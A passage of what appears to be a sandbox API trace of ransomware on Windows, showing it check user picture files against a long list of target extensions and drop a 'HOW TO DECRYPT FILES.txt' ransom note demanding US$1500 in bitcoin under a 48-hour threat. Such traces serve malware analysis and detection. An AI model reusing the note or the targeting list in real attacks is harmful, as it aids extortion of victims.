(lpString="*.qif") returned 5 [0091.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.mye") returned 0 [0091.141] lstrlenA (lpString="*.mye") returned 5 [0091.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.mbox") returned 0 [0091.141] lstrlenA (lpString="*.mbox") returned 6 [0091.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.eml") returned 0 [0091.141] lstrlenA (lpString="*.eml") returned 5 [0091.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.pst") returned 0 [0091.142] lstrlenA (lpString="*.pst") returned 5 [0091.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.ost") returned 0 [0091.142] lstrlenA (lpString="*.ost") returned 5 [0091.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.idx") returned 0 [0091.142] lstrlenA (lpString="*.idx") returned 5 [0091.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.dbx") returned 0 [0091.142] lstrlenA (lpString="*.dbx") returned 5 [0091.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.sql") returned 0 [0091.142] lstrlenA (lpString="*.sql") returned 5 [0091.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.mdb") returned 0 [0091.142] lstrlenA (lpString="*.mdb") returned 5 [0091.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.fdb") returned 0 [0091.142] lstrlenA (lpString="*.fdb") returned 5 [0091.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.wab") returned 0 [0091.142] lstrlenA (lpString="*.wab") returned 5 [0091.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.dat") returned 0 [0091.142] lstrlenA (lpString="*.dat") returned 5 [0091.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.txt") returned 0 [0091.142] lstrlenA (lpString="*.txt") returned 5 [0091.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.jpeg") returned 0 [0091.142] lstrlenA (lpString="*.jpeg") returned 6 [0091.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.jpg") returned 0 [0091.142] lstrlenA (lpString="*.jpg") returned 5 [0091.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.png") returned 0 [0091.142] lstrlenA (lpString="*.png") returned 5 [0091.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.php") returned 0 [0091.142] lstrlenA (lpString="*.php") returned 5 [0091.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.cs") returned 0 [0091.143] lstrlenA (lpString="*.cs") returned 4 [0091.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.cpp") returned 0 [0091.143] lstrlenA (lpString="*.cpp") returned 5 [0091.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.rar") returned 0 [0091.143] lstrlenA (lpString="*.rar") returned 5 [0091.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.zip") returned 0 [0091.143] lstrlenA (lpString="*.zip") returned 5 [0091.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.html") returned 0 [0091.143] lstrlenA (lpString="*.html") returned 6 [0091.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.htm") returned 0 [0091.143] lstrlenA (lpString="*.htm") returned 5 [0091.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.xlsx") returned 0 [0091.143] lstrlenA (lpString="*.xlsx") returned 6 [0091.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.xls") returned 0 [0091.143] lstrlenA (lpString="*.xls") returned 5 [0091.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.mp4") returned 0 [0091.143] lstrlenA (lpString="*.mp4") returned 5 [0091.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.ppt") returned 0 [0091.143] lstrlenA (lpString="*.ppt") returned 5 [0091.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.pptx") returned 0 [0091.143] lstrlenA (lpString="*.pptx") returned 6 [0091.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.doc") returned 0 [0091.143] lstrlenA (lpString="*.doc") returned 5 [0091.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.dot") returned 0 [0091.143] lstrlenA (lpString="*.dot") returned 5 [0091.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.docx") returned 0 [0091.143] lstrlenA (lpString="*.docx") returned 6 [0091.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.7z") returned 0 [0091.144] lstrlenA (lpString="*.7z") returned 4 [0091.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.tar") returned 0 [0091.144] lstrlenA (lpString="*.tar") returned 5 [0091.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.bz2") returned 0 [0091.144] lstrlenA (lpString="*.bz2") returned 5 [0091.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.gz") returned 0 [0091.144] lstrlenA (lpString="*.gz") returned 4 [0091.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.mkv") returned 0 [0091.144] lstrlenA (lpString="*.mkv") returned 5 [0091.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.eml") returned 0 [0091.144] lstrlenA (lpString="*.eml") returned 5 [0091.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.msg") returned 0 [0091.144] lstrlenA (lpString="*.msg") returned 5 [0091.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.edb") returned 0 [0091.144] lstrlenA (lpString="*.edb") returned 5 [0091.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.accdb") returned 0 [0091.144] lstrlenA (lpString="*.accdb") returned 7 [0091.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.odb") returned 0 [0091.144] lstrlenA (lpString="*.odb") returned 5 [0091.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.java") returned 0 [0091.144] lstrlenA (lpString="*.java") returned 6 [0091.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.asm") returned 0 [0091.144] lstrlenA (lpString="*.asm") returned 5 [0091.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.pfx") returned 0 [0091.144] lstrlenA (lpString="*.pfx") returned 5 [0091.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.pem") returned 0 [0091.144] lstrlenA (lpString="*.pem") returned 5 [0091.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.p12") returned 0 [0091.145] lstrlenA (lpString="*.p12") returned 5 [0091.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.gpg") returned 0 [0091.145] lstrlenA (lpString="*.gpg") returned 5 [0091.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.vsd") returned 0 [0091.145] lstrlenA (lpString="*.vsd") returned 5 [0091.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.odg") returned 0 [0091.145] lstrlenA (lpString="*.odg") returned 5 [0091.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.raw") returned 0 [0091.145] lstrlenA (lpString="*.raw") returned 5 [0091.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.nef") returned 0 [0091.145] lstrlenA (lpString="*.nef") returned 5 [0091.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.svg") returned 0 [0091.145] lstrlenA (lpString="*.svg") returned 5 [0091.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.psd") returned 0 [0091.145] lstrlenA (lpString="*.psd") returned 5 [0091.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.vmx") returned 0 [0091.145] lstrlenA (lpString="*.vmx") returned 5 [0091.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.vmdk") returned 0 [0091.145] lstrlenA (lpString="*.vmdk") returned 6 [0091.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.vdi") returned 0 [0091.145] lstrlenA (lpString="*.vdi") returned 5 [0091.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.lay6") returned 0 [0091.145] lstrlenA (lpString="*.lay6") returned 6 [0091.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.mpeg") returned 0 [0091.145] lstrlenA (lpString="*.mpeg") returned 6 [0091.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.djvu") returned 0 [0091.145] lstrlenA (lpString="*.djvu") returned 6 [0091.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.tiff") returned 0 [0091.145] lstrlenA (lpString="*.tiff") returned 6 [0091.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.backup") returned 0 [0091.146] lstrlenA (lpString="*.backup") returned 8 [0091.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.pdf") returned 0 [0091.146] lstrlenA (lpString="*.pdf") returned 5 [0091.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.cert") returned 0 [0091.146] lstrlenA (lpString="*.cert") returned 6 [0091.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.docm") returned 0 [0091.146] lstrlenA (lpString="*.docm") returned 6 [0091.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.xlsm") returned 0 [0091.146] lstrlenA (lpString="*.xlsm") returned 6 [0091.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.dwg") returned 0 [0091.146] lstrlenA (lpString="*.dwg") returned 5 [0091.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.nd") returned 0 [0091.146] lstrlenA (lpString="*.nd") returned 4 [0091.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.tlg") returned 0 [0091.146] lstrlenA (lpString="*.tlg") returned 5 [0091.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.lgb") returned 0 [0091.146] lstrlenA (lpString="*.lgb") returned 5 [0091.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.mov") returned 0 [0091.146] lstrlenA (lpString="*.mov") returned 5 [0091.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.xdw") returned 0 [0091.146] lstrlenA (lpString="*.xdw") returned 5 [0091.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.ods") returned 0 [0091.146] lstrlenA (lpString="*.ods") returned 5 [0091.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.wav") returned 0 [0091.146] lstrlenA (lpString="*.wav") returned 5 [0091.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.mp3") returned 0 [0091.146] lstrlenA (lpString="*.mp3") returned 5 [0091.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.aiff") returned 0 [0091.147] lstrlenA (lpString="*.aiff") returned 6 [0091.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.flac") returned 0 [0091.147] lstrlenA (lpString="*.flac") returned 6 [0091.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.m4a") returned 0 [0091.147] lstrlenA (lpString="*.m4a") returned 5 [0091.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.csv") returned 0 [0091.147] lstrlenA (lpString="*.csv") returned 5 [0091.147] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a683d0, ftCreationTime.dwHighDateTime=0x1d5e67e, ftLastAccessTime.dwLowDateTime=0x68615620, ftLastAccessTime.dwHighDateTime=0x1d5df68, ftLastWriteTime.dwLowDateTime=0x68615620, ftLastWriteTime.dwHighDateTime=0x1d5df68, nFileSizeHigh=0x0, nFileSizeLow=0xa22, dwReserved0=0x0, dwReserved1=0x0, cFileName="KTqQ.gif", cAlternateFileName="")) returned 0 [0091.147] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0091.147] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c1a640, ftCreationTime.dwHighDateTime=0x1d5e352, ftLastAccessTime.dwLowDateTime=0xccb5f6c0, ftLastAccessTime.dwHighDateTime=0x1d5e261, ftLastWriteTime.dwLowDateTime=0xccb5f6c0, ftLastWriteTime.dwHighDateTime=0x1d5e261, nFileSizeHigh=0x0, nFileSizeLow=0xce9b, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="5d1vV.gif", cAlternateFileName="")) returned 1 [0091.147] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0091.147] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5d1vV.gif") returned 1 [0091.147] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5d1vV.gif") returned 1 [0091.147] lstrcmpiA (lpString1="", lpString2="5d1vV.gif") returned -1 [0091.147] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\*.*") returned="*.*" [0091.147] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\" [0091.147] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\") returned="" [0091.147] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\HOW TO DECRYPT FILES.txt" [0091.147] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\how to decrypt files.txt")) returned 0xffffffff [0091.147] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0091.149] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0091.149] WriteFile (in: hFile=0x8c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0091.150] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0091.150] CloseHandle (hObject=0x8c) returned 1 [0091.151] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\", lpString2="5d1vV.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif" [0091.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.ems") returned 0 [0091.151] lstrlenA (lpString="*.ems") returned 5 [0091.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.db") returned 0 [0091.151] lstrlenA (lpString="*.db") returned 4 [0091.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.dbf") returned 0 [0091.151] lstrlenA (lpString="*.dbf") returned 5 [0091.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.myox") returned 0 [0091.151] lstrlenA (lpString="*.myox") returned 6 [0091.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.myo") returned 0 [0091.151] lstrlenA (lpString="*.myo") returned 5 [0091.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.qbw") returned 0 [0091.151] lstrlenA (lpString="*.qbw") returned 5 [0091.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.qbb") returned 0 [0091.151] lstrlenA (lpString="*.qbb") returned 5 [0091.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.qbm") returned 0 [0091.151] lstrlenA (lpString="*.qbm") returned 5 [0091.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.qbo") returned 0 [0091.151] lstrlenA (lpString="*.qbo") returned 5 [0091.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.qbx") returned 0 [0091.151] lstrlenA (lpString="*.qbx") returned 5 [0091.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.qba") returned 0 [0091.151] lstrlenA (lpString="*.qba") returned 5 [0091.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.qby") returned 0 [0091.151] lstrlenA (lpString="*.qby") returned 5 [0091.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.qbj") returned 0 [0091.152] lstrlenA (lpString="*.qbj") returned 5 [0091.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.ofx") returned 0 [0091.152] lstrlenA (lpString="*.ofx") returned 5 [0091.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.qif") returned 0 [0091.152] lstrlenA (lpString="*.qif") returned 5 [0091.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.mye") returned 0 [0091.152] lstrlenA (lpString="*.mye") returned 5 [0091.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\5d1vV.gif", pszSpec="*.mbox") returned 0 